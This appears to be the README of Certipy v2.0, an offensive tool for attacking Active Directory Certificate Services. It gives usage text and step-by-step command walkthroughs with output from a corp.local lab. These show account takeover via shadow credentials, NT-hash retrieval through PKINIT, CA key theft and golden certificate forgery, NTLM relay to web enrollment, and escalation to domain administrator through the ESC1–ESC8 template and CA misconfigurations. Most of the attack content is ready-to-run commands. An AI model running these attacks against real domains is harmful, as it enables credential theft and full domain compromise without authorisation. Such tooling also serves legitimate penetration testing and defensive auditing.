Active Directory Certificate Services enumeration and abuse
python3 setup.py installA lot of the usage and features are shown in the blog post for Certipy 2.0 here.
Certipy v2.0 - by Oliver Lyak (ly4k)
usage: certipy [-v] [-h] {auth,ca,find,forge,relay,req,shadow,template} ...
Active Directory Certificate Services enumeration and abuse
positional arguments:
{auth,ca,find,forge,relay,req,shadow,template}
Action
auth Authenticate using certificates
ca Manage CA and certificates
find Enumerate AD CS
forge Create Golden Certificates
relay NTLM Relay to AD CS HTTP Endpoints
req Request certificates
shadow Abuse Shadow Credentials for account takeover
template Manage certificate templates
optional arguments:
-v, --version Show Certipy's version number and exit
-h, --help Show this help message and exit
Enumerate AD CS certificate templates and certificate authorities.
Certipy v2.0 - by Oliver Lyak (ly4k)
usage: certipy find [-h] [-debug] [-json] [-bloodhound] [-text] [-output prefix] [-enabled] [-scheme ldap scheme] [-dc-ip ip address] [-target-ip ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-hashes LMHASH:NTHASH] [-no-pass] [-k] target
positional arguments:
target [[domain/]username[:password]@]<target name or address>
optional arguments:
-h, --help show this help message and exit
-debug Turn debug output on
output options:
-json Output result as JSON only
-bloodhound Output result as BloodHound data only
-text, -txt Output result as text only
-output prefix Filename prefix for writing results to
find options:
-enabled Show only enabled certificate templates
connection options:
-scheme ldap scheme
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
-ns nameserver Nameserver for DNS resolution
-dns-tcp Use TCP instead of UDP for DNS queries
-timeout seconds Timeout for connections
authentication options:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass Don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
By default, Certipy will output the enumeration results as text, JSON, and BloodHound data.
$ certipy find 'corp.local/john:Passw0rd!@dc.corp.local'
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 8 enabled certificate templates
[*] Saved text output to '20220218220900_Certipy.txt'
[*] Saved JSON output to '20220218220900_Certipy.json'
[*] Saved BloodHound data to '20220218220900_Certipy.zip'. Drag and drop the file into the BloodHound GUITo only output BloodHound data, specify the -bloodhound parameter.
$ certipy find 'corp.local/john:Passw0rd!@dc.corp.local' -bloodhound
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 8 enabled certificate templates
[*] Saved BloodHound data to '20220218220909_Certipy.zip'. Drag and drop the file into the BloodHound GUIThe BloodHound data is saved as a ZIP-file that can be imported into the latest version of BloodHound. Please note that Certipy uses BloodHound's new format, introduced in version 4.
Custom queries for BloodHound can be found in customqueries.json.
On Linux, custom BloodHound queries can be added in ~/.config/bloodhound/customqueries.json, and for Windows in C:\Users\[USERNAME]\AppData\Roaming\BloodHound\customqueries.json
Request certificates
Certipy v2.0 - by Oliver Lyak (ly4k)
usage: certipy req [-h] -ca certificate authority name [-debug] [-template template name] [-alt alternative UPN] [-retrieve request ID] [-on-behalf-of domain\account] [-pfx pfx/p12 file name] [-out output file name] [-dynamic-endpoint] [-dc-ip ip address] [-target-ip ip address] [-ns nameserver] [-dns-tcp]
[-timeout seconds] [-hashes LMHASH:NTHASH] [-no-pass] [-k]
target
positional arguments:
target [[domain/]username[:password]@]<target name or address>
optional arguments:
-h, --help show this help message and exit
-ca certificate authority name
-debug Turn debug output on
certificate request options:
-template template name
-alt alternative UPN
-retrieve request ID Retrieve an issued certificate specified by a request ID instead of requesting a new certificate
-on-behalf-of domain\account
Use a Certificate Request Agent certificate to request on behalf of another user
-pfx pfx/p12 file name
Path to Certificate Request Agent certificate
output options:
-out output file name
connection options:
-dynamic-endpoint Prefer dynamic TCP endpoint over named pipe
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
-ns nameserver Nameserver for DNS resolution
-dns-tcp Use TCP instead of UDP for DNS queries
-timeout seconds Timeout for connections
authentication options:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass Don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
Request a certificate from corp-CA based on the template User.
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User'
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate
[*] Successfully requested certificate
[*] Request ID is 688
[*] Got certificate with UPN 'john@corp.local'
[*] Saved certificate and private key to 'john.pfx'The auth command will use the PKINIT Kerberos extension to authenticate with the provided certificate to retrieve the NT hash of the user.
Certipy v2.0 - by Oliver Lyak (ly4k)
usage: certipy auth [-h] -pfx pfx/p12 file name [-no-ccache] [-no-hash] [-debug] [-dc-ip ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-username username] [-domain domain]
optional arguments:
-h, --help show this help message and exit
-pfx pfx/p12 file name
Path to certificate
-no-ccache Don't save CCache
-no-hash Don't request NT hash
-debug Turn debug output on
connection options:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-ns nameserver Nameserver for DNS resolution
-dns-tcp Use TCP instead of UDP for DNS queries
-timeout seconds Timeout for connections
authentication options:
-username username
-domain domain
Certipy will try to extract the username and domain from the certificate (-pfx) for authentication.
$ certipy auth -pfx administrator.pfx
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got NT hash for 'administrator@corp.local': a87f3a337d73085c45f9416be5787d86If the standard usage example doesn't work, you can specify the required parameters manually, such as the KDC IP, username, and domain.
$ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got NT hash for 'administrator@corp.local': a87f3a337d73085c45f9416be5787d86Abusing Shadow Credentials for account takeover
Certipy v2.0 - by Oliver Lyak (ly4k)
usage: certipy shadow [-h] [-account target account] [-device-id DEVICE_ID] [-debug] [-out output file name] [-scheme ldap scheme] [-dc-ip ip address] [-target-ip ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-hashes LMHASH:NTHASH] [-no-pass] [-k] action target
positional arguments:
action Key Credentials action
target [[domain/]username[:password]@]<target name or address>
optional arguments:
-h, --help show this help message and exit
-account target account
Account to target. If omitted, the user specified in the target will be used
-device-id DEVICE_ID Device ID of the Key Credential Link
-debug Turn debug output on
output options:
-out output file name
connection options:
-scheme ldap scheme
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
-ns nameserver Nameserver for DNS resolution
-dns-tcp Use TCP instead of UDP for DNS queries
-timeout seconds Timeout for connections
authentication options:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass Don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
Automatically add a new Key Credential, authenticate to retrieve the NT hash, and then restore the old Key Credential attribute.
$ certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Targeting user 'johnpc$'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '40d662ce-1112-042f-43cc-d14dc981c671'
[*] Adding Key Credential with device ID '40d662ce-1112-042f-43cc-d14dc981c671' to the Key Credentials for 'johnpc$'
[*] Successfully added Key Credential with device ID '40d662ce-1112-042f-43cc-d14dc981c671' to the Key Credentials for 'johnpc$'
[*] Authenticating as 'johnpc$' with the certificate
[*] Using principal: johnpc$@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'johnpc.ccache'
[*] Trying to retrieve NT hash for 'johnpc$'
[*] Restoring the old Key Credentials for 'johnpc$'
[*] Successfully restored the old Key Credentials for 'johnpc$'
[*] NT hash for 'johnpc$': fc525c9683e8fe067095ba2ddc971889Create Golden Certificates
Certipy v2.0 - by Oliver Lyak (ly4k)
usage: certipy forge [-h] -ca-pfx pfx/p12 file name -subject subject -alt alternative UPN [-debug] [-out output file name]
optional arguments:
-h, --help show this help message and exit
-ca-pfx pfx/p12 file name
Path to CA certificate
-subject subject Subject to include certificate
-alt alternative UPN
-debug Turn debug output on
output options:
-out output file name
Backing up the certificate and private key of the CA.
$ certipy ca 'corp.local/administrator@ca.corp.local' -hashes :a87f3a337d73085c45f9416be5787d86 -backup
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Creating new service
[*] Creating backup
[*] Retrieving backup
[*] Got certificate and private key
[*] Saved certificate and private key to 'corp-CA.pfx'
[*] Cleaning upForging a certificate for the domain controller DC$.
$ certipy forge -ca-pfx 'corp-CA.pfx' -subject 'CN=Certipy' -alt 'DC$@corp.local'
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Saved forged certificate and private key to 'dc.pfx'ESC1 is when a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN).
For ESC1, request a certificate based on the vulnerable certificate template and specify an arbitrary SAN with the -alt parameter.
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate
[*] Successfully requested certificate
[*] Request ID is 659
[*] Got certificate with UPN 'administrator@corp.local'
[*] Saved certificate and private key to 'administrator.pfx'ESC2 is when a certificate template can be used for any purpose. Since the certificate can be used for any purpose, it can be used for the same technique as with ESC3. See below.
ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users.
Request a certificate based on the vulnerable certificate template ESC3.
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3'
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate
[*] Successfully requested certificate
[*] Request ID is 665
[*] Got certificate with UPN 'john@corp.local'
[*] Saved certificate and private key to 'john.pfx'Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user by specifying the -on-behalf-of. The -on-behalf-of parameter value must be in the form of domain\user, and not the FQDN of the domain, i.e. corp rather than corp.local.
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate
[*] Successfully requested certificate
[*] Request ID is 666
[*] Got certificate with UPN 'administrator@corp.local'
[*] Saved certificate and private key to 'administrator.pfx'ESC4 is when a user has write privileges over a certificate template. This can for instance be abused to overwrite the configuration of the certificate template to make the template vulnerable to ESC1.
By default, Certipy will overwrite the configuration to make it vulnerable to ESC1. Specify the -save-old parameter to save the old configuration, which is useful for restoring the configuration afterwards.
$ certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Saved old configuration for 'ESC4' to 'ESC4.json'
[*] Updating certificate template 'ESC4'
[*] Successfully updated 'ESC4'Then request a certificate based on the ESC4 template, just like ESC1.
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local'
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate
[*] Successfully requested certificate
[*] Request ID is 671
[*] Got certificate with UPN 'administrator@corp.local'
[*] Saved certificate and private key to 'administrator.pfx'If you want to restore the old configuration, specify the path to the saved configuration with the -configuration parameter.
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Updating certificate template 'ESC4'
[*] Successfully updated 'ESC4'ESC6 is when the CA specifies the EDITF_ATTRIBUTESUBJECTALTNAME2 flag. This flag allows the enrollee to specify an arbitrary SAN on all certificates despite a certificate template's configuration.
The attack is the same as ESC1, except that you can choose any certificate template that permits client authentication.
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -alt 'administrator@corp.local'
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate
[*] Successfully requested certificate
[*] Request ID is 673
[*] Got certificate with UPN 'administrator@corp.local'
[*] Saved certificate and private key to 'administrator.pfx'ESC7 is when a user has the Manage CA or Manage Certificates access right on a CA. There are no public techniques that can abuse the Manage Certificates access right for domain privilege escalation, but it can be used it to issue or deny pending certificate requests.
The "Certified Pre-Owned" whitepaper mentions that this access right can be used to enable the EDITF_ATTRIBUTESUBJECTALTNAME2 flag to perform the ESC6 attack, but this will not have any effect until the CA service (CertSvc) is restarted. When a user has the Manage CA access right, the user is also allowed to restart the service. However, it does not mean that the user can restart the service remotely.
Instead, I've found another technique that doesn't require any service restarts or configuration changes.
Prerequisites
In order for this technique to work, the user must also have the Manage Certificates access right, and the certificate template SubCA must be enabled. With Manage CA, we can fulfill these prerequisites.
The technique relies on the fact that users with the Manage CA and Manage Certificates access right can issue failed certificate requests. The SubCA certificate template is vulnerable to ESC1, but only administrators can enroll in the template. A user can request to enroll in the SubCA, which will be denied, but the certificate can then be issued by the manager.
If you only have the Manage CA access right, you can grant yourself the Manage Certificates access right by adding your user as a new officer.
$ certipy ca 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -add-officer 'john'
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'john' on 'corp-CA'The SubCA template can be enabled on the CA with the -enable-template parameter.
$ certipy ca 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -enable-template 'SubCA'
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'corp-CA'By default, the SubCA template is enabled.
Attack
Request a certificate based on the SubCA template. This request will be denied, but save the private key and note down the request ID.
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'SubCA' -alt 'administrator@corp.local'
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 674
Would you like to save the private key? (y/N) y
[*] Saved private key to 674.keyIssue the failed certificate request with -issue-request <request ID>.
$ certipy ca 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -issue-request 674
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificateYou can then retrieve the issued certificate with -retrieve <request ID>.
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -retrieve 674
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Rerieving certificate with ID 674
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Loaded private key from '674.key'
[*] Saved certificate and private key to 'administrator.pfx'ESC8 is when an Enrollment Service has installed and enabled Web Enrollment via HTTP.
To start the relay server, just run the relay command and specify the CA's IP in -ca.
By default, Certipy will request a certificate based on the Machine or User template depending on whether the relayed account name ends with $. It is possible to specify another template with the -template parameter.
You can then use a technique such as PetitPotam to coerce authentication. For domain controllers, you must specify -template DomainController.
$ certipy relay -ca 172.16.19.100
Certipy v2.0 - by Oliver Lyak (ly4k)
[*] Targeting http://172.16.19.100/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Setting up SMB Server
[*] SMBD-Thread-2: Connection from CORP/ADMINISTRATOR@172.16.19.101 controlled, attacking target http://172.16.19.100
[*] Authenticating against http://172.16.19.100 as CORP/ADMINISTRATOR SUCCEED
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'administrator@corp.local'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...Please submit any errors, issues, or questions under "Issues".
- Will Schroeder and Lee Christensen for Certified Pre-Owned and Certify
- Dirk-jan for PKINITtools
- ShutdownRepo for PyWhisker
- zer1t0 for certi
- Ex Android Dev and Tw1sm for Impacket's adcsattack.py
- SecureAuthCorp for Impacket